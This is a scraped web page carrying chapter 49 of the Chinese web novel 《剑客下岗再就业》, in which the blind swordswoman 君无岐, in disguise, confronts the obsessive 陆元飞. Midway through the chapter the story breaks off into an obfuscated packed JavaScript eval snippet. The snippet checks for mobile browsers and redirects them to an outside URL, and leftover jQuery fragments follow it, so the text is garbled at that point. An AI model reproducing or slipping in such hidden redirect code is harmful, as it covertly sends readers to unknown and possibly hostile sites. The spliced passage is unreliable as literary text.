49. 观音颅(八)
作品:《剑客下岗再就业》 陆元和猛然抬头。
“又青?”他又惊又喜,从小凳上起来迎她,“你怎么过来了?”
岳又青站在小院门口,“你爹不是要开群贤会?我娘就让我来了……你们干什么呢?”
她穿一件织满金线的曳地长裙,身上挂满配饰,远远看去活像个行走的首饰架,珠光宝气这种词用在她身上都略显朴素,但若是细细看去,那些首饰又显得有些奇怪,不大像是一般少年爱用的那些珠玉宝石之类。陆元和像是被她身上折射的光刺了下眼,偏了下头才答。
“没什么大事,兄长找我帮忙罢了。”
岳又青眯着眼使劲往小院里看。
奈何陆元和为了好看把灯全搁外面了,里面只有寥寥数盏,还都不亮,她自己又是个疾盲患者,在没戴琉璃镜的情况下再努力也只能看到三个人影。她欲要进门,可嗅到酒味心中又嫌弃,只好拧拧巴巴地原地站着,抬手把裙角捞起来。
“既如此,那你就去帮忙吧,我不打扰了。”
虽然这么说,她却没有立刻就走的意思。
红夫人见状立马打蛇随棍上,低声道,“二少爷,您看……”
陆元和脸色极差。
“让她去那躺下。”他冷冰冰道,“我净了手再来。”
他指指小院侧边一张躺椅。
“你是要用‘生塑’了吗?”岳又青虽然眼神不咋的,听力却着实不错,在门口扬声说道,“小心手!”
陆元和往她那边一望,变脸似的换上张笑脸,语气还挺温柔,“我晓得。”
君无岐低着头往躺椅那边去。
“等等。”岳又青神色疑惑,“我怎么觉得那人有点眼熟……”
陆元和横跨一步,巧妙拦住她的视线。
“你这眼睛该好好保护才是。”他道,“怎么每个到我这院中的人你都觉得眼熟?”
“这倒也是。”岳又青悻悻,“那你好好工作吧,我走了。”
她这回是真的要走,只是临走前没忍住还是往院中看了几眼,虽然只能看到个模模糊糊的轮廓,但仍让她感觉熟悉,比以往那些人更加强烈。
“难不成我这眼症又加深了?”她在心中嘀咕。
她在门口徘徊片刻,最终还是走了。
君无岐悄悄在心中松了口气。
路元和洗了手过来,指尖拈着几根细丝,和蛛丝一般粗细,却极其有韧性,用力拉扯而不断。他走到君无岐身边,正要俯下身去打量她的脸,却忽然动作一僵。
红夫人已经自动自觉地到了一边去等着,大概以前经常被赶,此刻正在角落中来回踱步,看不到此时情况。
君无岐抬手,明明不可视物,却精准捞过他掌中细丝。
盖因这东西上有一点微光,这代表它带了命数。
“想不到你居然能引得又青教你这些。”她语气也听不出是喜是怒,“她知道你在做这种事吗?”
陆元和僵直地站在原地,神色晦暗。
“她是个小蠢货。”他轻慢道,“不可能知道的。”
君无岐意味不明地嗤笑一声。
到底谁是蠢货还未可知。
眼睛能维持的时间很短,她必须要抓紧时间。
“你已经‘生塑’结束了,这就是你的成果。”她指指自己的脸,慢慢说道,“明白吗?”
陆元和低头看着她。
“明白。”
熟悉的刺痛从眼睛深处传来。君无岐按住眼眶,眼角克制不住地淌下泪水,沾湿头发。陆元和恍然惊醒,条件反射地去看她,神情还有点恍惚。
“这次……好像。”他喃喃。
君无岐眨了下眼睛,一滴泪珠自睫毛上掉落。他情不自禁伸出手想擦掉那滴眼泪,行至半途忽然意识到自己在做什么,骤然僵住。
他神色难看下来,甩袖就走。
红夫人急忙过来。
“这次这么快就结束了?”她颇有些意外,“你……我的天。”
她眼神发直,“好像……”
一抹不甘和妒恨从她眼中划过。
“这眼睛怎么是这个颜色,还真是个瞎的。”她有些不满,“一会见到少爷,别让他看到你的眼睛,真碍眼。”
君无岐假装低头应是。
时间已经很晚了,红夫人丝毫不顾及她是个盲人,带着她一路飞奔,几乎是拖着她往前走,如果是个普通姑娘,这回恐怕已经被硬生生拖在地上。君无岐一言不发,只在心中默默记下山庄结构。这座山庄像个巨大的梯田,居所高度依地位来定,譬如陆元和就住在第三层,而那位所谓的“少爷”则住在第二层。
如果有宾客来,八成会住在第四层。
她在快速思量着接下来的计划,红夫人猝然停步。
“我们到了。”她的声音忽然变得极度柔软、甜蜜,甚至可以说是矫揉造作,到了发腻的地步,“少爷,我来了,可以进来吗?”
这里是花与绫罗绸缎的海洋。
眼下刚刚进入初夏,很多花还只是初初开放,但这里却已经是花团锦簇,万紫千红,无数粉的黄的紫的白的月季绣球紫薇锦葵争相盛放,把每一个角落都填得满满当当。花海中留出一条小道,窄得仅容一人通行,铺满丝绸锦缎,极尽奢靡。花的尽头是座木屋,用贵重的金丝檀搭建而成,窗户则是用的大片琉璃,随便掰个角下来都够平民百姓一家花用,更别说檐下挂的宝石攒的风铃、鲸骨所制的门扇等等,都是有钱都很难弄到的好东西。
院落门前挂了个白玉传声简,方才红夫人就是对着这东西在说话。
简中传来一个懒洋洋的男声,“进来吧。”
红夫人拉着君无岐往里走。
那珍贵的丝绸她们刚刚走过,就有仆从过来换成新的,还不忘把每一个角落拉平整。君无岐这辈子没这么奢华过,对破红山庄顿时又有了新的认知,当然,是负面的。
她们一路来到小屋前。
屋里凌乱至极,什么珍贵的器具画卷之类的到处乱扔,空气中还隐约带了点血腥味,混杂着令人生厌的甜腻。正中间摆了张小榻,一个男子靠在上面,衣襟敞开,赤足披发,百无聊赖地拿珍珠扔着玩。听到两人入内也不抬头,神色语气都是恹恹,“行了,站那吧。”
想必这位就是陆元飞了。
“少爷,别不高兴,这次来的这位可像了,简直和真的一模一样。”红夫人的声音哄孩子似的,几乎能拉丝,“你抬起头来,看一看,好不好?”
陆元飞不耐烦地抬眼,“我都说了……啊。”
他咕噜一下子爬起来,连衣领掉下去都没发觉,“是你……君子剑,是你!”
君无岐没说话,心里却已经翻江倒海。
他居然是真的奔着她来的!
陆元飞看到她以后眼中顿时再看不到任何东西,直扑她而来,“你真的来看我了,君子剑,你不知道我有多想你……”
君无岐,“……”
她真是有点装不下去。
那边红夫人已经悄无声息地退了出去。
忍无可忍,无需再忍。
她当即出手将他一把掀翻!<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948389|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>陆元飞咕咚一声仰面朝天摔倒在地,神情还有点懵。君无岐抬杖抵着他喉咙,微微使了点劲,硌出一道红痕,“我们认识吗。”
陆元飞睁大眼睛。
君无岐以为他要翻脸,正琢磨着怎么能套出点话来,就听他激动道,“对,就是这样!君子剑,你就是君子剑!”
君无岐,“……”
坏了,好像遇到变态了。
她一言难尽地松了下劲,“你在说什么。”
陆元飞直愣愣地看着她,眼神痴迷,“你不记得我……你果然不记得我……对,这才对,你的确不应该记得我,我只是台下人群中的一个而已,你那么耀眼,你那么夺目……”
他浑身都在战栗,语气里有股说不出的潮湿黏腻,“来,快来,我专门为你打造的长悲台,只属于你的,足够你挥剑一千次、一万次!”
他一把攥住君无岐的胳膊,拖着她往屋外走。
君无岐踉跄了几步。
陆元飞猝然停步。
“不对,不对不对不对。”他眼睛亮得瘆人,字与字之间有种微妙的黏连,尾音却断得十分利落,听起来像是个敏锐的疯子,“你眼睛有问题,你不是,你不是!”
话语说到最后已经是在接近咆哮。君无岐的忍耐限度也终于到了最边缘,她噔噔噔倒退三步,扬起手中竹杖,悍然向前一扫!
落了个空。
陆元飞人已经在一丈之外!
“她会来的,她会来的!”他夹带着一缕哭音怒吼,屋内所有夜行灯都随着这声音向上浮起,烛芯骤然爆开一闪随后熄灭,屋檐下所有的风铃狂甩,叮叮当当响得人头疼。
花香里飘来一抹杀机。
“唰!”
小屋里挂着所有帐幔都在同一时间朝着同一方向飞起,伴随着刺啦声破成布条。漫天飞舞的丝絮里,君无岐横杖一挡,厉风刮来,唰地被削掉一截。
“以后都得改成铁的。”她喃喃自语。
她随手丢掉劈坏的竹杖,指尖在旁边一探,摸到了个不知道干嘛用的硬物,拎起来就要往对面扔——
“住手!”
陆元飞骤然发出尖锐嘶鸣。
但为时已晚,君无岐已经毫不犹豫地松开了手——
“啪!”
那东西重重砸在地板上,四分五裂。
“你竟敢、你竟敢!”陆元飞爆发出歇斯底里的怒吼,“砸碎君子剑的塑像!你找死!”
然而君子剑本人只觉得他变态。
她悄没声地又掂了个棍状物握在手里,手感感觉像画轴。她心里有个不太好的预感,这不会是她自己的画像吧?
陆元飞的反应证实了这个猜测。
“放下!不许动!”他粗哑喘气,“该死的,我要你千刀万剐!”
他的眼神在那一瞬间变得极其恐怖。
“每一个……每一个胆敢亵渎她的人……”他低声道,“我都要杀死……杀死……”
木屋在剧烈震动。
门外传来仆从惊惶的询问,可屋中没有人回答。精美的瓷器、珠宝、文玩字画等等接连落地,滚作一团。窗下一张小几翻倒,瓶中插的月季撒落,随即被人一脚碾过。夜行灯们惊恐地聚在一起,发出人类听不懂的喁喁低声。
今夜晴月被迅速聚拢的黑云遮蔽,数道闪电骤然劈落,昭示着不详的来临。君无岐算是明白了为何陆元飞即便做出这么多荒唐事仍然备受重视,只有一个原因。
他很强。
只可惜,比起她来。
还是差了一点。